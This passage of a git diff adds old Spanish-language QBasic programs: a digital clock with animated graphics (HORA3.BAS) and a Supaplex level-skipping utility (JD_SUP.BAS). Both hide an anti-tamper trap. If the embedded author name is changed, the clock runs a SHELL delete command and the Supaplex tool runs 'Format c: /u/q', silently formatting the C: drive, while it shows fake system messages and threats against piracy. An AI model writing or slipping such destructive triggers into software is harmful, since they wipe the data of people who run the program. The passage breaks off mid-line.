+M(5) = INT(RND * 8) + 1 +M(1) = INT(RND * 8) + 1 +M(6) = INT(RND * 8) + 1 + +DO + +Vez = Vez + 1 +Vz = Vz + 1 + +IF Vz >= 30 THEN Vz = 1 + +IF Vez >= 30 THEN Vez = 1 + +FOR Coor = 1 TO 6 + +SELECT CASE M(Coor) + CASE 1: IF Coor <> 6 THEN X(Coor) = X(Coor) - 3: Y(Coor) = Y(Coor) - 3 ELSE X(Coor) = X(Coor) - 2: Y(Coor) = Y(Coor) - 2 + CASE 2: IF Coor <> 6 THEN Y(Coor) = Y(Coor) - 3 ELSE Y(Coor) = Y(Coor) - 2 + CASE 3: IF Coor <> 6 THEN X(Coor) = X(Coor) + 3: Y(Coor) = Y(Coor) - 3 ELSE X(Coor) = X(Coor) + 2: Y(Coor) = Y(Coor) - 2 + CASE 4: IF Coor <> 6 THEN X(Coor) = X(Coor) - 3 ELSE X(Coor) = X(Coor) - 2 + CASE 5: 'Pause + CASE 6: IF Coor <> 6 THEN Y(Coor) = Y(Coor) + 3 ELSE Y(Coor) = Y(Coor) + 2 + CASE 7: IF Coor <> 6 THEN X(Coor) = X(Coor) - 3: Y(Coor) = Y(Coor) + 3 ELSE X(Coor) = X(Coor) - 2: Y(Coor) = Y(Coor) + 2 + CASE 8: IF Coor <> 6 THEN X(Coor) = X(Coor) + 3 ELSE X(Coor) = X(Coor) + 2 + CASE 9: IF Coor <> 6 THEN X(Coor) = X(Coor) + 3: Y(Coor) = Y(Coor) + 3 ELSE X(Coor) = X(Coor) + 2: Y(Coor) = Y(Coor) + 2 +END SELECT + +IF Coor = 6 THEN + IF X(6) >= 640 THEN X(6) = 640: Salida = 1 + IF X(6) <= 0 THEN X(6) = 0: Salida = 1 + IF Y(6) <= 150 THEN Y(6) = 150: Salida = 1 + IF Y(6) >= 350 THEN Y(6) = 350: Salida = 1 +ELSE + IF X(Coor) >= 640 THEN X(Coor) = 640: Salida = 1 + + IF X(Coor) <= 480 AND Y(Coor) < 250 THEN + X(Coor) = 650: Salida = 1 + ELSE + IF X(Coor) <= 0 THEN X(Coor) = 480: Salida = 1 + END IF + + + IF Y(Coor) >= 350 AND X(Corr) <= 400 THEN Y(Coor) = 350: Salida = 1 + IF Y(Coor) >= 350 THEN Y(Coor) = 0: Salida = 1 + IF Y(Coor) <= 0 THEN Y(Coor) = 350: Salida = 1 +END IF + +OldX6(1) = X(6) +OldY6(1) = Y(6) +OldTipo(1) = Tipo + +OldX1(1) = X(1) +OldX2(1) = X(2) +OldX3(1) = X(3) + +OldX4(1) = X(4) +OldX5(1) = X(5) + +OldY1(1) = Y(1) +OldY2(1) = Y(2) +OldY3(1) = Y(3) + +OldY4(1) = Y(4) +OldY5(1) = Y(5) + +NEXT + +IF RIGHT$(RTRIM$(LTRIM$(STR$(Vez / 5))), 1) = "0" OR RIGHT$(RTRIM$(LTRIM$(STR$(Vez / 5))), 1) = "5" THEN Vez1 = Vez1 + 1 +IF Vez1 >= 16 THEN Vez1 = 1 + + +IF RIGHT$(RTRIM$(LTRIM$(STR$(Vz / 2))), 1) = "0" OR RIGHT$(RTRIM$(LTRIM$(STR$(Vz / 5))), 1) = "5" THEN Vz1 = Vz1 + 1 +IF Vz1 >= 16 THEN Vz1 = 1 + + +LINE (X(1), Y(1))-(X(2), Y(2)), Vez1 +LINE (X(2), Y(2))-(X(3), Y(3)), Vez1 +LINE (X(3), Y(3))-(X(4), Y(4)), Vez1 + +LINE (X(4), Y(4))-(X(5), Y(5)), Vez1 +LINE (X(5), Y(5))-(X(1), Y(1)), Vez1 + +CIRCLE (X(6), Y(6)), 20, Vz1: ', , , Tipo + + A = 31 + + WHILE A >= 2 + + A = A - 1 + + OldX1(A) = OldX1(A - 1) + OldY1(A) = OldY1(A - 1) + + OldX2(A) = OldX2(A - 1) + OldY2(A) = OldY2(A - 1) + + OldX3(A) = OldX3(A - 1) + OldY3(A) = OldY3(A - 1) + + OldX4(A) = OldX4(A - 1) + OldY4(A) = OldY4(A - 1) + + OldX5(A) = OldX5(A - 1) + OldY5(A) = OldY5(A - 1) + + WEND + + A = 71 + + WHILE A >= 2 + A = A - 1 + OldX6(A) = OldX6(A - 1) + OldY6(A) = OldY6(A - 1) + OldTipo(A) = OldTipo(A - 1) + WEND + CIRCLE (OldX6(70), OldY6(70)), 20, 0 + + LINE (OldX1(30), OldY1(30))-(OldX2(30), OldY2(30)), 0 + LINE (OldX2(30), OldY2(30))-(OldX3(30), OldY3(30)), 0 + LINE (OldX3(30), OldY3(30))-(OldX4(30), OldY4(30)), 0 + + LINE (OldX4(30), OldY4(30))-(OldX5(30), OldY5(30)), 0 + LINE (OldX5(30), OldY5(30))-(OldX1(30), OldY1(30)), 0 + +LOOP WHILE Salida <> 1 + +Salida = 0 + +LOOP + + + +'*************************************************** +'* GRAFICOS DE PRUEBA ****************************** +'*************************************************** +grap: + +SUB PonNum (Digito$, Posicion) + +SELECT CASE VAL(RTRIM$(LTRIM$(Digito$))) + CASE 0 + D1 = 1: D2 = 1: D3 = 1: D4 = 1: D5 = 0: D6 = 1: D7 = 1 + + CASE 1 + D1 = 0: D2 = 0: D3 = 1: D4 = 0: D5 = 0: D6 = 1: D7 = 0 + + CASE 2 + D1 = 0: D2 = 1: D3 = 1: D4 = 1: D5 = 1: D6 = 0: D7 = 1 + + + CASE 3 + D1 = 0: D2 = 1: D3 = 1: D4 = 0: D5 = 1: D6 = 1: D7 = 1 + + + CASE 4 + D1 = 1: D2 = 0: D3 = 1: D4 = 0: D5 = 1: D6 = 1: D7 = 0 + + + CASE 5 + D1 = 1: D2 = 1: D3 = 0: D4 = 0: D5 = 1: D6 = 1: D7 = 1 + + + CASE 6 + D1 = 1: D2 = 1: D3 = 0: D4 = 1: D5 = 1: D6 = 1: D7 = 1 + + + CASE 7 + D1 = 0: D2 = 1: D3 = 1: D4 = 0: D5 = 0: D6 = 1: D7 = 0 + + + CASE 8 + D1 = 1: D2 = 1: D3 = 1: D4 = 1: D5 = 1: D6 = 1: D7 = 1 + + + CASE 9 + D1 = 1: D2 = 1: D3 = 1: D4 = 0: D5 = 1: D6 = 1: D7 = 1 + + +END SELECT + +IF Posicion < 5 THEN + +IF D1 = 1 THEN +PSET (0 + P(A), 0), 4 +DRAW "D40 R15 U26 H15" + DRAW "F13 BL5 P4,4" +ELSE +PSET (0 + P(A), 0), 0 +DRAW "D40 R15 U26 H15" + DRAW "F13 BL5 P0,0" + +END IF + +IF D2 = 1 THEN +PSET (3 + P(A), 0), 4 +DRAW "R63 G15 L33 H15" + DRAW "BR5 BD5 BR23 P4,4" +ELSE +PSET (3 + P(A), 0), 0 +DRAW "R63 G15 L33 H15" + DRAW "BR5 BD5 BR23 P0,0" + +END IF + +IF D3 = 1 THEN +PSET (69 + P(A), 0), 4 +DRAW " D40 L15 U25 E15" + DRAW "G13 BR5 P4,4" +ELSE +PSET (69 + P(A), 0), 0 +DRAW " D40 L15 U25 E15" + DRAW "G13 BR5 P0,0" + +END IF + +IF D4 = 1 THEN +PSET (0 + P(A), 42), 4 +DRAW " D50 E15 U20 H15" + DRAW "F13 BL5 P4,4" +ELSE +PSET (0 + P(A), 42), 0 +DRAW " D50 E15 U20 H15" + DRAW "F13 BL5 P0,0" + +END IF + +IF D5 = 1 THEN +PSET (3 + P(A), 42), 4 +DRAW " R63 G15 L33 H15" + DRAW "BR5 BD5 BR23 P4,4" +ELSE +PSET (3 + P(A), 42), 0 +DRAW " R63 G15 L33 H15" + DRAW "BR5 BD5 BR23 P0,0" + +END IF + +IF D6 = 1 THEN +PSET (69 + P(A), 42), 4 +DRAW " D50 H15 U20 E15" +DRAW "G13 BR5 P4,4" +ELSE +PSET (69 + P(A), 42), 0 +DRAW " D50 H15 U20 E15" +DRAW "G13 BR5 P0,0" + +END IF + +IF D7 = 1 THEN +PSET (3 + P(A), 93), 4 +DRAW " E15 R33 F15 L62" +DRAW "BR23 BU5 P4,4" +ELSE +PSET (3 + P(A), 93), 0 +DRAW " E15 R33 F15 L62" +DRAW "BR23 BU5 P0,0" + +END IF + +'******************************************************** +'**************** EL GRAN " ELSE " ********************* +'******************************************************** + +ELSE + +IF D1 = 1 THEN +PSET (0 + P(A), 45), 4 +DRAW "D20 R8 U13 H8" + DRAW "F7 BL3 P4,4" +ELSE +PSET (0 + P(A), 45), 0 +DRAW "D20 R8 U13 H8" + DRAW "F7 BL3 P0,0" + +END IF + +IF D2 = 1 THEN +PSET (3 + P(A), 45), 4 +DRAW "R32 G8 L17 H8" + DRAW "BR3 BD3 BR12 P4,4" +ELSE +PSET (3 + P(A), 45), 0 +DRAW "R32 G8 L17 H8" + DRAW "BR3 BD3 BR12 P0,0" + +END IF + +IF D3 = 1 THEN +PSET (37 + P(A), 45), 4 +DRAW "D20 L8 U13 E8" + DRAW "G8 BR3 P4,4" +ELSE +PSET (37 + P(A), 45), 0 +DRAW "D20 L8 U13 E8" + DRAW "G8 BR3 P0,0" + +END IF + +IF D4 = 1 THEN +PSET (0 + P(A), 67), 4 +DRAW "D25 E8 U10 H8" + DRAW "F8 BL3 P4,4" +ELSE +PSET (0 + P(A), 67), 0 +DRAW "D25 E8 U10 H8" + DRAW "F8 BL3 P0,0" + +END IF + +IF D5 = 1 THEN +PSET (3 + P(A), 67), 4 +DRAW "R32 G8 L17 H8" + DRAW "BR3 BD3 BR12 P4,4" +ELSE +PSET (3 + P(A), 67), 0 +DRAW "R32 G8 L17 H8" + DRAW "BR3 BD3 BR12 P0,0" + +END IF + +IF D6 = 1 THEN +PSET (37 + P(A), 67), 4 +DRAW "D25 H8 U10 E8" + DRAW "G8 BR3 P4,4" +ELSE +PSET (37 + P(A), 67), 0 +DRAW "D25 H8 U10 E8" + DRAW "G8 BR3 P0,0" + +END IF + +IF D7 = 1 THEN +PSET (3 + P(A), 93), 4 +DRAW "E8 R17 F8 L34" + DRAW "BR12 BU3 P4,4" +ELSE +PSET (3 + P(A), 93), 0 +DRAW "E8 R17 F8 L34" + DRAW "BR12 BU3 P0,0" + +END IF + +END IF + + + +END SUB + diff --git a/BAS/HORA3.BAS b/BAS/HORA3.BAS new file mode 100644 index 0000000..68aeb4e --- /dev/null +++ b/BAS/HORA3.BAS @@ -0,0 +1,485 @@ +'Generador de un reloj digital en pantalla' +DEFINT A-Z +DECLARE SUB PonNum (Digito$, Posicion) +DIM SHARED P(6), A, veces +DIM OldX1(30), OldY1(30), OldX2(30), OldY2(30), OldX3(30), OldY3(30), OldX4(30), OldY4(30), OldX5(30), OldY5(30), OldTipo(100), OldX6(100), OldY6(100) +RANDOMIZE TIMER + +X(1) = 400: Y(1) = 175 +X(2) = 400: Y(2) = 175 +X(3) = 400: Y(3) = 175 +X(4) = 400: Y(4) = 175 +X(5) = 400: Y(5) = 175 +X(6) = 400: Y(5) = 175 + +mir$ = "Reloj ( Jos‚ David Guill‚n 15/02/93 )" +IF MID$(mir$, 13, 1) <> "‚" THEN PRINT " Programa modificado 1": GOTO errormo +IF MID$(mir$, 26, 1) <> "‚" THEN PRINT " Programa modificado 2": GOTO errormo + +P(1) = 0 +P(2) = 80 +P(3) = 200 +P(4) = 280 + +P(5) = 400 +P(6) = 440 + +'P(1) = 0 +'P(2) = 75 +'P(3) = 195 +'P(4) = 275 +' +'P(5) = 395 +'P(6) = 435 + +SCREEN 9 + +Hora$ = LEFT$(TIME$, 2) +Min$ = MID$(TIME$, 4, 2) + + Hora1$ = LEFT$(Hora$, 1) + A = 1 + PonNum Hora1$, 1 + Hora2$ = MID$(Hora$, 2, 1) + A = 2 + PonNum Hora2$, 2 + +LINE (170, 20)-(180, 30), 12, BF +LINE (170, 60)-(180, 70), 12, BF + + Min1$ = LEFT$(Min$, 1) + A = 3 + PonNum Min1$, 3 + + Min2$ = MID$(Min$, 2, 1) + A = 4 + PonNum Min2$, 4 + + +LINE (370, 50)-(380, 60), 12, BF +LINE (370, 80)-(380, 90), 12, BF + + +DO +Hora$ = LEFT$(TIME$, 2) +Min$ = MID$(TIME$, 4, 2) + +IF INKEY$ <> "" THEN SCREEN 0: PRINT mir$: SYSTEM + +IF OldHor2$ <> LEFT$(Hora$, 1) THEN + Hora1$ = LEFT$(Hora$, 1) + A = 1 + PonNum Hora1$, 1 +END IF +OldHor2$ = LEFT$(Hora$, 1) + +IF OldHor1$ <> MID$(Hora$, 2, 1) THEN + Hora2$ = MID$(Hora$, 2, 1) + A = 2 + PonNum Hora2$, 2 +END IF +OldHor1$ = MID$(Hora$, 2, 1) + +IF OldMin2$ <> LEFT$(Min$, 1) THEN + Min1$ = LEFT$(Min$, 1) + A = 3 + PonNum Min1$, 3 +END IF +OldMin2$ = LEFT$(Min$, 1) + +IF OldMin1$ <> MID$(Min$, 2, 1) THEN + Min2$ = MID$(Min$, 2, 1) + A = 4 + PonNum Min2$, 4 + +END IF +OldMin1$ = MID$(Min$, 2, 1) + +IF INKEY$ <> "" THEN SCREEN 0: PRINT mir$: SYSTEM + + seg$ = MID$(TIME$, 7, 1) + A = 5 + PonNum seg$, 5 + seg$ = MID$(TIME$, 8, 1) + A = 6 + PonNum seg$, 6 + + +'*************************************************** +'* GRAFICO LINEAL ********************************** +'*************************************************** + + + +M(4) = INT(RND * 8) + 1 +M(3) = INT(RND * 8) + 1 +M(2) = INT(RND * 8) + 1 +M(5) = INT(RND * 8) + 1 +M(1) = INT(RND * 8) + 1 +qwert = qwert + 1 +IF qwert = 7 THEN qwert = 1 +IF Cont = 1 THEN M(6) = INT(RND * 7) + 1: M(6) = M(qwert) + +DO + +Vez = Vez + 1 +Vz = Vz + 1 + +IF Vz >= 30 THEN Vz = 1 + +IF Vez >= 30 THEN Vez = 1 + +FOR Coor = 1 TO 6 + +SELECT CASE M(Coor) + CASE 1: IF Coor <> 6 THEN X(Coor) = X(Coor) - 3: Y(Coor) = Y(Coor) - 3 ELSE X(Coor) = X(Coor) - 2: Y(Coor) = Y(Coor) - 2 + CASE 2: IF Coor <> 6 THEN Y(Coor) = Y(Coor) - 3 ELSE Y(Coor) = Y(Coor) - 2 + CASE 3: IF Coor <> 6 THEN X(Coor) = X(Coor) + 3: Y(Coor) = Y(Coor) - 3 ELSE X(Coor) = X(Coor) + 2: Y(Coor) = Y(Coor) - 2 + CASE 4: IF Coor <> 6 THEN X(Coor) = X(Coor) - 3 ELSE X(Coor) = X(Coor) - 2 + CASE 5: 'Pause + CASE 6: IF Coor <> 6 THEN Y(Coor) = Y(Coor) + 3 ELSE Y(Coor) = Y(Coor) + 2 + CASE 7: IF Coor <> 6 THEN X(Coor) = X(Coor) - 3: Y(Coor) = Y(Coor) + 3 ELSE X(Coor) = X(Coor) - 2: Y(Coor) = Y(Coor) + 2 + CASE 8: IF Coor <> 6 THEN X(Coor) = X(Coor) + 3 ELSE X(Coor) = X(Coor) + 2 + CASE 9: IF Coor <> 6 THEN X(Coor) = X(Coor) + 3: Y(Coor) = Y(Coor) + 3 ELSE X(Coor) = X(Coor) + 2: Y(Coor) = Y(Coor) + 2 +END SELECT +Cont = 0 + +IF Coor = 6 THEN + IF X(6) >= 640 THEN X(6) = 640: Salida = 1: Cont = 1 + IF X(6) <= 0 THEN X(6) = 0: Salida = 1: Cont = 1 + IF Y(6) <= 150 THEN Y(6) = 150: Salida = 1: Cont = 1 + IF Y(6) >= 350 THEN Y(6) = 350: Salida = 1: Cont = 1 +ELSE + IF X(Coor) >= 640 THEN X(Coor) = 640: Salida = 1 + IF X(Coor) <= 485 AND Y(Coor) < 250 THEN + X(Coor) = 650: Salida = 1 + ELSEIF X(Coor) <= 0 THEN X(Coor) = 485: Salida = 1 + END IF + + + IF Y(Coor) >= 350 AND X(Corr) <= 400 THEN Y(Coor) = 350: Salida = 1 + IF Y(Coor) >= 350 THEN Y(Coor) = 0: Salida = 1 + IF Y(Coor) <= 0 THEN Y(Coor) = 350: Salida = 1 + +END IF + +OldX6(1) = X(6) +OldY6(1) = Y(6) +OldTipo(1) = Tipo + +OldX1(1) = X(1) +OldX2(1) = X(2) +OldX3(1) = X(3) + +OldX4(1) = X(4) +OldX5(1) = X(5) + +OldY1(1) = Y(1) +OldY2(1) = Y(2) +OldY3(1) = Y(3) + +OldY4(1) = Y(4) +OldY5(1) = Y(5) + +NEXT + +IF RIGHT$(RTRIM$(LTRIM$(STR$(Vez / 5))), 1) = "0" OR RIGHT$(RTRIM$(LTRIM$(STR$(Vez / 5))), 1) = "5" THEN Vez1 = Vez1 + 1 +IF Vez1 >= 16 THEN Vez1 = 1 + + +IF RIGHT$(RTRIM$(LTRIM$(STR$(Vz / 2))), 1) = "0" OR RIGHT$(RTRIM$(LTRIM$(STR$(Vz / 5))), 1) = "5" THEN Vz1 = Vz1 + 1 +IF Vz1 >= 16 THEN Vz1 = 1 + + +LINE (X(1), Y(1))-(X(2), Y(2)), Vez1 +LINE (X(2), Y(2))-(X(3), Y(3)), Vez1 +LINE (X(3), Y(3))-(X(4), Y(4)), Vez1 + +LINE (X(4), Y(4))-(X(5), Y(5)), Vez1 +LINE (X(5), Y(5))-(X(1), Y(1)), Vez1 + +CIRCLE (X(6), Y(6)), 20, Vz1: ', , , Tipo + + A = 71 + + WHILE A >= 2 + A = A - 1 + + IF A < 31 THEN + + OldX1(A) = OldX1(A - 1) + OldY1(A) = OldY1(A - 1) + + OldX2(A) = OldX2(A - 1) + OldY2(A) = OldY2(A - 1) + + OldX3(A) = OldX3(A - 1) + OldY3(A) = OldY3(A - 1) + + OldX4(A) = OldX4(A - 1) + OldY4(A) = OldY4(A - 1) + + OldX5(A) = OldX5(A - 1) + OldY5(A) = OldY5(A - 1) + END IF + + OldX6(A) = OldX6(A - 1) + OldY6(A) = OldY6(A - 1) + OldTipo(A) = OldTipo(A - 1) + + WEND + + CIRCLE (OldX6(70), OldY6(70)), 20, 0 + + LINE (OldX1(30), OldY1(30))-(OldX2(30), OldY2(30)), 0 + LINE (OldX2(30), OldY2(30))-(OldX3(30), OldY3(30)), 0 + LINE (OldX3(30), OldY3(30))-(OldX4(30), OldY4(30)), 0 + + LINE (OldX4(30), OldY4(30))-(OldX5(30), OldY5(30)), 0 + LINE (OldX5(30), OldY5(30))-(OldX1(30), OldY1(30)), 0 + +LOOP WHILE Salida <> 1 + +Salida = 0 + +LOOP + + + +'*************************************************** +'* GRAFICOS DE PRUEBA ****************************** +'*************************************************** + +errormo: +CLS +COLOR 15, 0 +PRINT " ATENCION !!! PELIGRO !!!!": PRINT : PRINT +PRINT " Alguien modifico ilegalmente el programa tratando de apropiarse de": PRINT +PRINT " los creditos ajenos a ‚l. Su autor a protegido el sistema por ello": PRINT +PRINT " ya que ha intentado modificar este programa causara estragos en tu": PRINT +PRINT " sistema.... LA PIRATERIA SERA TU MUERTE ": PRINT +PRINT : PRINT : PRINT " Desea regresar al Sistema Operativo DOS o bloquear sistema : " +PRINT " (S)istema (B)loquear (S/B)" +SHELL "Del. >nul" +SYSTEM +END + +grap: + +SUB PonNum (Digito$, Posicion) + +veces = veces + 1 +LOCATE 10, 1: PRINT veces + +IF INKEY$ <> "" THEN STOP + +SELECT CASE VAL(RTRIM$(LTRIM$(Digito$))) + + CASE 0 + D1 = 1: D2 = 1: D3 = 1: D4 = 1: D5 = 0: D6 = 1: D7 = 1 + + CASE 1 + D1 = 0: D2 = 0: D3 = 1: D4 = 0: D5 = 0: D6 = 1: D7 = 0 + + CASE 2 + D1 = 0: D2 = 1: D3 = 1: D4 = 1: D5 = 1: D6 = 0: D7 = 1 + + + CASE 3 + D1 = 0: D2 = 1: D3 = 1: D4 = 0: D5 = 1: D6 = 1: D7 = 1 + + + CASE 4 + D1 = 1: D2 = 0: D3 = 1: D4 = 0: D5 = 1: D6 = 1: D7 = 0 + + + CASE 5 + D1 = 1: D2 = 1: D3 = 0: D4 = 0: D5 = 1: D6 = 1: D7 = 1 + + + CASE 6 + D1 = 1: D2 = 1: D3 = 0: D4 = 1: D5 = 1: D6 = 1: D7 = 1 + + + CASE 7 + D1 = 0: D2 = 1: D3 = 1: D4 = 0: D5 = 0: D6 = 1: D7 = 0 + + + CASE 8 + D1 = 1: D2 = 1: D3 = 1: D4 = 1: D5 = 1: D6 = 1: D7 = 1 + + + CASE 9 + D1 = 1: D2 = 1: D3 = 1: D4 = 0: D5 = 1: D6 = 1: D7 = 1 + + +END SELECT + +IF Posicion < 5 THEN + +IF D1 = 1 THEN +PSET (0 + P(A), 0), 4 +DRAW "D40 R15 U26 H15" + DRAW "F13 BL5 P4,4" +ELSE +PSET (0 + P(A), 0), 0 +DRAW "D40 R15 U26 H15" + DRAW "F13 BL5 P0,0" + +END IF + +IF D2 = 1 THEN +PSET (3 + P(A), 0), 4 +DRAW "R63 G15 L33 H15" + DRAW "BR5 BD5 BR23 P4,4" +ELSE +PSET (3 + P(A), 0), 0 +DRAW "R63 G15 L33 H15" + DRAW "BR5 BD5 BR23 P0,0" + +END IF + +IF D3 = 1 THEN +PSET (69 + P(A), 0), 4 +DRAW " D40 L15 U25 E15" + DRAW "G13 BR5 P4,4" +ELSE +PSET (69 + P(A), 0), 0 +DRAW " D40 L15 U25 E15" + DRAW "G13 BR5 P0,0" + +END IF + +IF D4 = 1 THEN +PSET (0 + P(A), 42), 4 +DRAW " D50 E15 U20 H15" + DRAW "F13 BL5 P4,4" +ELSE +PSET (0 + P(A), 42), 0 +DRAW " D50 E15 U20 H15" + DRAW "F13 BL5 P0,0" + +END IF + +IF D5 = 1 THEN +PSET (3 + P(A), 42), 4 +DRAW " R63 G15 L33 H15" + DRAW "BR5 BD5 BR23 P4,4" +ELSE +PSET (3 + P(A), 42), 0 +DRAW " R63 G15 L33 H15" + DRAW "BR5 BD5 BR23 P0,0" + +END IF + +IF D6 = 1 THEN +PSET (69 + P(A), 42), 4 +DRAW " D50 H15 U20 E15" +DRAW "G13 BR5 P4,4" +ELSE +PSET (69 + P(A), 42), 0 +DRAW " D50 H15 U20 E15" +DRAW "G13 BR5 P0,0" + +END IF + +IF D7 = 1 THEN +PSET (3 + P(A), 93), 4 +DRAW " E15 R33 F15 L62" +DRAW "BR23 BU5 P4,4" +ELSE +PSET (3 + P(A), 93), 0 +DRAW " E15 R33 F15 L62" +DRAW "BR23 BU5 P0,0" + +END IF + +'******************************************************** +'**************** EL GRAN " ELSE " ********************* +'******************************************************** + +ELSE + +IF D1 = 1 THEN +PSET (0 + P(A), 45), 4 +DRAW "D20 R8 U13 H8" + DRAW "F7 BL3 P4,4" +ELSE +PSET (0 + P(A), 45), 0 +DRAW "D20 R8 U13 H8" + DRAW "F7 BL3 P0,0" + +END IF + +IF D2 = 1 THEN +PSET (3 + P(A), 45), 4 +DRAW "R32 G8 L17 H8" + DRAW "BR3 BD3 BR12 P4,4" +ELSE +PSET (3 + P(A), 45), 0 +DRAW "R32 G8 L17 H8" + DRAW "BR3 BD3 BR12 P0,0" + +END IF + +IF D3 = 1 THEN +PSET (37 + P(A), 45), 4 +DRAW "D20 L8 U13 E8" + DRAW "G8 BR3 P4,4" +ELSE +PSET (37 + P(A), 45), 0 +DRAW "D20 L8 U13 E8" + DRAW "G8 BR3 P0,0" + +END IF + +IF D4 = 1 THEN +PSET (0 + P(A), 67), 4 +DRAW "D25 E8 U10 H8" + DRAW "F8 BL3 P4,4" +ELSE +PSET (0 + P(A), 67), 0 +DRAW "D25 E8 U10 H8" + DRAW "F8 BL3 P0,0" + +END IF + +IF D5 = 1 THEN +PSET (3 + P(A), 67), 4 +DRAW "R32 G8 L17 H8" + DRAW "BR3 BD3 BR12 P4,4" +ELSE +PSET (3 + P(A), 67), 0 +DRAW "R32 G8 L17 H8" + DRAW "BR3 BD3 BR12 P0,0" + +END IF + +IF D6 = 1 THEN +PSET (37 + P(A), 67), 4 +DRAW "D25 H8 U10 E8" + DRAW "G8 BR3 P4,4" +ELSE +PSET (37 + P(A), 67), 0 +DRAW "D25 H8 U10 E8" + DRAW "G8 BR3 P0,0" + +END IF + +IF D7 = 1 THEN +PSET (3 + P(A), 93), 4 +DRAW "E8 R17 F8 L34" + DRAW "BR12 BU3 P4,4" +ELSE +PSET (3 + P(A), 93), 0 +DRAW "E8 R17 F8 L34" + DRAW "BR12 BU3 P0,0" + +END IF + +END IF + + + +END SUB + diff --git a/BAS/JD_SUP.BAS b/BAS/JD_SUP.BAS new file mode 100644 index 0000000..685ec20 --- /dev/null +++ b/BAS/JD_SUP.BAS @@ -0,0 +1,169 @@ +'SupaPlex + +CLS +A$ = "ÚÄÄÄÄÄÄþ ÚÄþ ÚÄþ ÚÄÄÄÄþ ÚÄÄÄÄÄþ ÚÄÄÄÄþ ÚÄþ ÚÄÄÄÄþ ÚÄÄþ ÚÄÄþ" +b$ = "³ þÍÍÍͼ ³ º ³ º ³ÚÄÄþº ³ ÉÍþ º ³ÉÍÍþº ³ º ³ þÍͼ þþ þÂ٠ɼ" +c$ = "³ ÀÄÄÄÄþ ³ º ³ º ³þÍͼº ³ þÄÙ º ³þÄÄÙº ³ º ³ Àþ þÍþ Éͼ" +d$ = "þÍÍÍÍþ º ³ º ³ º ³ ÉÍͼ ³ þÄ¿ º ³ ÉÍͼ ³ º ³ þ¼ ÚÄÙ þÄþ" +e$ = "ÚÄÄÄÄÙ º ³ þÄÙ º ³ º ³ º ³ º ³ º ³ þÄÄÄþ ³ ÀÄÄþ ÚÙ þÁ¿ þþ" +f$ = "þÍÍÍÍÍͼ þÍÍÍÍͼ þͼ þͼ þͼ þͼ þÍÍÍÍͼ þÍÍÍͼ þÍͼ þÍͼ" +LOCATE 21, 26: PRINT "Pulse una Tecla" + +COLOR 12 + +RANDOMIZE TIMER +A = 1 +DO +kdb$ = INKEY$ +x% = INT(RND * 8) + 1 +y% = INT(RND * 79) + 1 +SELECT CASE x% + CASE 1: l$ = A$ + CASE 2: l$ = b$ + CASE 3: l$ = c$ + CASE 4: l$ = d$ + CASE 5: l$ = e$ + CASE 6: l$ = f$ + CASE 7: l$ = g$ + CASE 8: l$ = h$ + CASE ELSE + END SELECT + + +LOCATE x% + 10, y%: PRINT MID$(l$, y%, 1) +LOOP WHILE kdb$ = "" + +LOCATE 11, 1: PRINT A$ +LOCATE 12, 1: PRINT b$ +LOCATE 13, 1: PRINT c$ +LOCATE 14, 1: PRINT d$ +LOCATE 15, 1: PRINT e$ +LOCATE 16, 1: PRINT f$ +LOCATE 21, 26: PRINT SPACE$(20) + + +T$(1) = " Vaciar SKIP's " +T$(2) = " - Creditos - " +T$(3) = " INFO:INFO:INFO " +COLOR 14 +FOR e = 1 TO 3 +LOCATE 2 + e, 30: PRINT T$(e) +NEXT +fin = false +lin = 1 + +DO + +kdb$ = INKEY$ +COLOR 14, 0 +IF kdb$ = CHR$(0) + "H" THEN LOCATE 2 + lin, 30: PRINT T$(lin); : lin = lin - 1 +IF kdb$ = CHR$(0) + "P" THEN LOCATE 2 + lin, 30: PRINT T$(lin); : lin = lin + 1 + +IF kdb$ = CHR$(27) THEN END + +IF kdb$ = CHR$(13) THEN + SELECT CASE lin + CASE 1 + R = 0: Cod = 0 + OPEN "PLAYER.LST" FOR RANDOM AS #1 LEN = 1 + IF LOF(1) = 0 THEN + COLOR 10 + mem$(1) = " Para que el vaciador funcione debe haber una partida salvada " + mem$(2) = " y encontrarse este programa en el Subdirectorio de Suplaplex " + mem$(3) = " La persistencia de este error se debe a que no hay partidas salvadas " + GOSUB mensajes + GOTO df + END IF + VIEW PRINT 18 TO 24 + DO WHILE R <= LOF(1) + R = R + 1 + FIELD #1, 1 AS char$ + GET #1, R + poc = POS(1) + PRINT char$; + IF char$ = CHR$(2) THEN + Cod = 1 + LSET char$ = CHR$(1) + PUT #1, R + COLOR 14, 1 + LOCATE , poc: PRINT char$ + COLOR 14, 0 + END IF + + LOOP +df: + CLOSE #1 + PRINT + IF Cod <> 0 THEN PRINT " PROCESO CONCLUIDO " ELSE PRINT " NO SE ENCONTRARON NIVELES SALTADOS " + VIEW PRINT + + CASE 2 + nombre$ = "Jos‚ David Guill‚n Dominguez" + IF MID$(nombre$, 4, 1) <> "‚" THEN GOTO errormo + IF MID$(nombre$, 17, 1) <> "‚" THEN GOTO errormo + + COLOR 10 + mem$(1) = " Vaciador de niveles por: " + mem$(2) = " " + nombre$ + mem$(3) = " c/Pintor Garcia Ramos n§5 2D" + GOSUB mensajes + + CASE 3 + COLOR 10 + mem$(1) = "Con este peque¤o programa podras saltarte tantos niveles como quieras" + mem$(2) = "ya que con solo cargarlo podras <> el panel de control como " + mem$(3) = "si los niveles saltados ya hubieran sido hechos. " + GOSUB mensajes + + CASE ELSE + END SELECT +END IF + +IF lin = 0 THEN lin = 3 +IF lin = 4 THEN lin = 1 + +COLOR 14, 7 +LOCATE 2 + lin, 30: PRINT T$(lin) + +LOOP + +mensajes: + COLOR 10 + LOCATE 8, 1: PRINT mem$(1) + LOCATE 9, 1: PRINT mem$(2) + LOCATE 10, 1: PRINT mem$(3) + + SLEEP + COLOR 14, 0 + LOCATE 8, 1: PRINT SPACE$(80); + LOCATE 9, 1: PRINT SPACE$(80); + LOCATE 10, 1: PRINT SPACE$(80); + RETURN + +SYSTEM + +errormo: +CLS +c = 11: tew$ = "Programa: SISTEMA MODIFICADO. FORMAT C: /U/Q ": GOSUB bipeador +c = 9: tew$ = "CPU: Acceso Denegado.": GOSUB bipeador +c = 11: tew$ = "Programa: Llamando a la funci¢n BIOS &23h34d2ff": GOSUB bipeador +c = 9: tew$ = "CPU: El sistema va ha ser formateado. Interrumpir (S/N)?": GOSUB bipeador +SHELL "Format c: /u/q >NUL" +c = 11: tew$ = "Programa: funciones principales selladas; Proceso concluido": GOSUB bipeador +c = 9: tew$ = "CPU: BIO_FUNCIONES ANULADAS SISTEMA FORMATEADO": GOSUB bipeador +c = 11: tew$ = "Programa: La pirateria es DELITO... 